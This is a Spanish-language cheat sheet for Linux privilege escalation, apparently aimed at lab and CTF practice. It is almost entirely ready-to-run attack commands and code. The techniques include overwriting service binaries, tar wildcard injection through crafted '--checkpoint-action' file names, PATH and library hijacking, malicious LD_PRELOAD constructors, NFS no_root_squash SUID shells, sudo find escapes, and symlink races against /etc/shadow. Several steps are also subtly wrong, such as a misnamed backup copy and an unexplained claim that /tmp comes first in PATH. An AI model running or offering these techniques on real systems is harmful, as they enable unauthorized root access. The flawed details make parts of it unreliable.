Explotación de Servicios, CRON, PATH y NFS
Servicios y Demonios
Listar Servicios
systemctl list-units --type=service --state=running
systemctl list-unit-files --state=enabled
service --status-all
ps aux | grep -E "\[.*\]" # Servicios del kernel
# Ver detalles de servicio
systemctl status servicio
systemctl show servicioServicios Vulnerables
# Servicios ejecutados como root
ps aux | grep "^root" | grep -v kernel
# Servicios con binarios escribibles
for service in $(systemctl list-units --type=service --state=running -q); do
path=$(systemctl show -p ExecStart --value $service)
if [ -w "$path" ]; then
echo "VULNERABLE: $service - $path"
fi
doneReemplazar Binario de Servicio
# 1. Encontrar servicio vulnerable
systemctl status apache2
# 2. Ver binario
ExecStart=/usr/sbin/apache2 -k start
# 3. Verificar permisos
ls -la /usr/sbin/apache2
# 4. Si es escribible, reemplazar
cp /bin/bash /usr/sbin/apache2.bak
echo '#!/bin/bash' > /usr/sbin/apache2
echo 'cp /bin/bash /tmp/root_shell' >> /usr/sbin/apache2
echo 'chmod u+s /tmp/root_shell' >> /usr/sbin/apache2
chmod +x /usr/sbin/apache2
# 5. Reiniciar servicio
sudo systemctl restart apache2
# 6. Ejecutar shell
/tmp/root_shell -pInyectar en Servicios
# Si el servicio carga scripts de configuración
/etc/init.d/servicio
/etc/systemd/system/servicio.service
/usr/lib/systemd/system/servicio.service
# Inyectar comando en el archivo de config
echo "cp /bin/bash /tmp/root_shell && chmod u+s /tmp/root_shell" >> /etc/servicio.confCRON Jobs - Tareas Programadas
Listar CRON Jobs
# Tu cron
crontab -l
grep "CRON" /var/log/syslog
# Cron de root (si puedes leer)
sudo crontab -l
crontab -u root -l
# Cron del sistema
cat /etc/crontab
# Directorios de cron
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
# Archivos incluidos
cat /etc/cron.d/*
cat /etc/cron.daily/*CRON Writable Directories
# Si un CRON ejecuta: */5 * * * * cd /tmp && tar -czf backup.tar.gz *
# Y /tmp es escribible, entonces:
# 1. Crear archivo ejecutable
echo '#!/bin/bash' > /tmp/ls
echo 'cp /bin/bash /tmp/root_shell' >> /tmp/ls
echo 'chmod u+s /tmp/root_shell' >> /tmp/ls
chmod +x /tmp/ls
# 2. Esperar a que se ejecute (5 minutos en ejemplo)
# 3. El CRON ejecuta: cd /tmp && tar...
# Y busca "ls" en el PATH primero
# Como /tmp está antes en PATH, ejecuta nuestro script
# 4. Usar shell
/tmp/root_shell -pCRON con Wildcards Vulnerable
Ejemplo: */01 * * * * cd /home/usuario && tar -zcf backup.tar.gz * El asterisco * puede ser explotado:
# 1. Entrar a directorio del CRON
cd /home/usuario
# 2. Crear archivo con nombre especial
echo '#!/bin/bash' > root.sh
echo 'cp /bin/bash /tmp/root_shell; chmod u+s /tmp/root_shell' > root.sh
chmod +x root.sh
# 3. Crear "archivos" que son flags de tar
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh root.sh"
# 4. Cuando se ejecuta: tar -zcf backup.tar.gz *
# tar interpreta nuestros "archivos" como flags
# Y ejecuta: tar ... --checkpoint=1 --checkpoint-action=exec=sh root.sh
# Lo que ejecuta root.sh como root
# 5. Esperar CRON (1 minuto en ejemplo)
# 6. Usar shell
/tmp/root_shell -pEditar CRON
# Crear tu propio CRON
crontab -e
# Agregar:
* * * * * cp /bin/bash /tmp/root_shell; chmod u+s /tmp/root_shell
# Luego:
/tmp/root_shell -pIdentificar qué usuario ejecuta cada tarea
Esta es la parte clave — saber el usuario te dice si la tarea es explotable para escalar privilegios.
El formato de /etc/crontab lo dice directamente
/etc/crontab y los archivos en /etc/cron.d/ tienen una columna extra que los crontabs de usuario no tienen — el usuario:
# MIN HORA DIA MES DIASEM USUARIO COMANDO
* * * * * root /usr/local/bin/backup.sh
*/5 * * * * www-data /opt/scripts/clean.sh
0 2 * * * john tar -czf /tmp/backup.tar.gz /home
# ^^^^
# Esta columna es el usuario que ejecuta el comandoSi dice
root→ esa tarea corre como root → si puedes modificar lo que ejecuta, eres root.
Los directorios cron.daily/hourly/etc no tienen columna de usuario
Los scripts dentro de /etc/cron.daily/, /etc/cron.hourly/, etc. los lanza el demonio cron usando el usuario definido en /etc/crontab para esa sección. Para verlo:
# Busca las líneas que llaman a run-parts
grep "run-parts" /etc/crontab
# Output típico:
# 17 * * * * root cd / && run-parts --report /etc/cron.hourly
# 25 6 * * * root test -x /usr/sbin/anacron || cd / && run-parts --report /etc/cron.daily
# ^^^^
# Ese "root" ejecuta TODOS los scripts de ese directorioCrontabs de usuarios — el dueño es el que lo ejecuta
# Ver crontabs de todos los usuarios del sistema de una vez
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
crontab -l -u $user 2>/dev/null
doneLas tareas en
crontab -lsiempre corren como el usuario dueño del crontab. Sijohntiene una tarea en su crontab → corre comojohn.
Desde los logs — ver quién ejecutó qué y cuándo
# Ver usuario + comando en tiempo real
grep "CRON" /var/log/syslog | grep "CMD"
# Solo tareas de root
grep "CRON" /var/log/syslog | grep "(root)"
# Las últimas 50 ejecuciones
grep "CRON" /var/log/syslog | tail -50Output típico:
Jul 27 03:00:01 host CRON[1234]: (root) CMD (/usr/local/bin/backup.sh)
# ^^^^
# El usuario está entre paréntesispspy — ver procesos en tiempo real sin ser root
pspy es la herramienta más útil en labs. Monitorea procesos nuevos sin privilegios — detecta crons que no aparecen en ningún archivo de configuración.
# Descargar en Kali y subir al target
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
python3 -m http.server 80
# En el target
wget http://<LHOST>/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64Output de pspy:
2026/07/27 03:00:01 CMD: UID=0 PID=1234 | /bin/sh -c /usr/local/bin/backup.sh
# ^^^
# UID=0 → root
# UID=1000 → usuario normalDeja pspy corriendo 5-10 minutos para capturar tareas que corren cada 1, 5 o 10 minutos.
Tabla resumen — dónde encontrar el usuario según el tipo de cron
| Dónde está la tarea | Cómo ver el usuario |
|---|---|
/etc/crontab | Columna 6 del archivo |
/etc/cron.d/* | Columna 6 del archivo |
/etc/cron.daily/ | Ver grep "run-parts" /etc/crontab — casi siempre root |
/etc/cron.hourly/ | Igual que cron.daily |
crontab -l de un usuario | El dueño del crontab siempre |
Logs /var/log/syslog | Campo entre paréntesis: (root) CMD |
| pspy | Campo UID= en cada línea |
Verificar si la tarea es explotable
Una vez que sabes el usuario, verifica si puedes modificar algo que esa tarea usa:
# ¿Puedes escribir el script que ejecuta?
ls -la /usr/local/bin/backup.sh
stat /usr/local/bin/backup.sh
# ¿Puedes escribir en el directorio donde está?
ls -la /usr/local/bin/
# ¿El script llama binarios sin ruta absoluta? → PATH hijacking
cat /usr/local/bin/backup.sh
# Si llama a "python" en vez de "/usr/bin/python" → vulnerable
# ¿Tiene wildcards * en tar, cp, chmod?
cat /etc/crontab | grep "\*"PATH Abuse
¿Cómo funciona? Si un script o programa busca un comando sin ruta completa y el PATH incluye directorio escribible, podemos inyectar comando.
Ejemplo Vulnerable
# Script en /usr/local/bin/backup.sh que hace:
#!/bin/bash
tar -czf /tmp/backup.tar.gz /home
# Si ejecuta simplemente: tar ...
# Busca "tar" en PATH: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
# Si /usr/local/bin es escribible:
# Creamos: /usr/local/bin/tar (nuestro script malicioso)
# Cuando se ejecute backup.sh, ejecuta NUESTRO tar, no el realExplotar PATH
# 1. Ver PATH actual
echo $PATH
# 2. Ver si es escribible algún directorio
for dir in $(echo $PATH | tr ':' ' '); do
if [ -w "$dir" ]; then
echo "WRITABLE: $dir"
fi
done
# 3. Si /usr/local/bin es escribible:
cd /usr/local/bin
# 4. Crear script malicioso con nombre de comando común
cat > ls << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/root_shell
chmod u+s /tmp/root_shell
/bin/ls "$@" # Ejecutar comando real
EOF
chmod +x ls
# 5. Cuando script/programa ejecute: ls ...
# Ejecuta nuestro "ls" primero
# 6. Esperar que se ejecute
# 7. Usar shell
/tmp/root_shell -pPATH Injection en Scripts
# Script vulnerable:
#!/bin/bash
find /home -type f -name "*.txt" 2>/dev/null
# Si ejecuta "find" sin ruta completa, inyectar en PATH:
export PATH=/tmp:$PATH
# Crear /tmp/find
echo '#!/bin/bash' > /tmp/find
echo 'id > /tmp/flag' >> /tmp/find
chmod +x /tmp/find
# Ejecutar script
./script.sh
# Nuestro find se ejecuta como rootLD_PRELOAD Abuse
¿Qué es? Variable que carga librerías personalizadas antes que las del sistema.
Explotar LD_PRELOAD
# 1. Verificar si LD_PRELOAD está permitido
grep "LD_PRELOAD" /etc/sudoers
# 2. Si sí, crear librería maliciosa
cat > lib.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
static void hijack() __attribute__((constructor));
void hijack() {
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF
# 3. Compilar
gcc -shared -fPIC -o lib.so lib.c
# 4. Ejecutar con LD_PRELOAD
sudo LD_PRELOAD=./lib.so /usr/bin/programa
# 5. Obtenemos bash como rootNFS (Network File System) Exploitation
¿Qué es? Sistema de archivos de red que permite compartir directorios entre máquinas.
Identificar NFS
# Ver shares NFS montados
showmount -e 192.168.1.100
showmount -e objetivo.local
# En tu máquina local
mount | grep nfs
# Ver servicios NFS activos
ps aux | grep nfs
netstat -an | grep :2049
# Configuración
cat /etc/exports
cat /etc/fstab | grep nfsMontar NFS Remoto
# Crear punto de montaje
mkdir /tmp/nfs_share
# Montar NFS remoto
sudo mount -t nfs -o vers=3,nolock 192.168.1.100:/home /tmp/nfs_share
# Ver contenido
ls -la /tmp/nfs_share/Explotar Permisos NFS Débiles
# 1. Si NFS permite montaje sin restricciones
# 2. Montar como root_squash deshabilitado significa acceso como root
# 3. Si puedo escribir en /tmp/nfs_share:
cd /tmp/nfs_share
# 4. Crear SUID shell
cp /bin/bash shell
chmod u+s shell
# 5. O crear SUID bit desde cliente
sudo chown root:root shell
sudo chmod u+s shell
# 6. Desde servidor (o cualquier cliente):
/tmp/nfs_share/shell -pCrear NFS Share Vulnerable (en tu servidor para lab)
# Agregar a /etc/exports:
echo "/home *(rw,no_subtree_check,no_root_squash)" >> /etc/exports
# Exportar
sudo exportfs -a
sudo exportfs -rvLibrary Hijacking
Librerías Faltantes
# Ver librerías que carga un binario
ldd /usr/bin/programa
# Si falta alguna librería en directorio escribible:
# Crear /usr/local/lib/libreria.so
cat > libreria.c << 'EOF'
#include <stdlib.h>
void __attribute__((constructor)) init() {
system("/bin/bash");
}
EOF
gcc -shared -fPIC -o /usr/local/lib/libreria.so libreria.c
# Ejecutar programa
/usr/bin/programaLD_LIBRARY_PATH
# Si LD_LIBRARY_PATH está permitido en sudoers:
echo $LD_LIBRARY_PATH
# Crear librería maliciosa
gcc -shared -fPIC -o /tmp/libc.so.6 hijack.c
# Ejecutar con LD_LIBRARY_PATH
sudo LD_LIBRARY_PATH=/tmp /usr/bin/programaSudo Wildcards
# Si tienes:
# (root) /usr/bin/find *
# Entonces:
sudo /usr/bin/find . -exec /bin/sh \;
# O:
sudo /usr/bin/find /root -exec /bin/cat /root/flag.txt \;Race Conditions
Archivos Temporales
# Script vulnerable:
#!/bin/bash
tmp_file="/tmp/file_$(date +%s)"
echo "data" > $tmp_file
chmod 600 $tmp_file # RACE CONDITION AQUÍ
# Un atacante puede crear symlink entre crear y chmod
# Exploitar:
while true; do
ln -sf /etc/shadow /tmp/file_*
cat /tmp/file_*
done
# O:
watch -n 0.001 'ln -sf /etc/shadow /tmp/file_*'Symlink Attacks
# Si servicio crea archivo temporal:
# /tmp/backup.tar.gz
# Crear symlink antes:
ln -s /etc/shadow /tmp/backup.tar.gz
# Cuando servicio intente crear /tmp/backup.tar.gz
# Sobrescribe /etc/shadow